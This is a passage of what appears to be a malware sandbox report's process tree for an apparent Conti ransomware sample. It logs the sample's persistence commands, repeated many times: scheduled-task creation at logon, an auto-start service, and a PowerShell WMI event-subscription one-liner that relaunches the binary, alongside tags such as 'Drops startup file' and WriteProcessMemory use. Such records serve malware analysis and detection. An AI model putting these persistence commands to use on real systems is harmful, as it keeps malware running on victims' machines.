      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:13944
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:18340
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:18720
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:11224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4824
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4732
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:17516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:17892
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:11000
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:2976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3780
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:5996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4852
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:2580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:4944
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:3920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:5712
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1924
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11316
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11436
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:12508
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:11784
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:7956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:2416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:16412
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:14064
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:15240
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:10980
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13548
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15552
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:17828
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11268
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11684
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7036
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7268
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:7896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:7540
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7956
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:4980
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:8600
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:9328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:9380
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:8292
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:2344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:9068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:10668
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:6104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:10580
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:10676
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:7408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:8232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:6960
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:13000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:13060
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:13824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:14520
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:16256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:16948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:11260
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:14556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:14672
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:5944
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:16724
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5592
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:20188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:20328
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:4744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:4576
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
    3⤵
    PID:3300
  - - C:\Windows\system32\sc.exe
      sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      Launches sc.exe
      PID:4464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:1104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
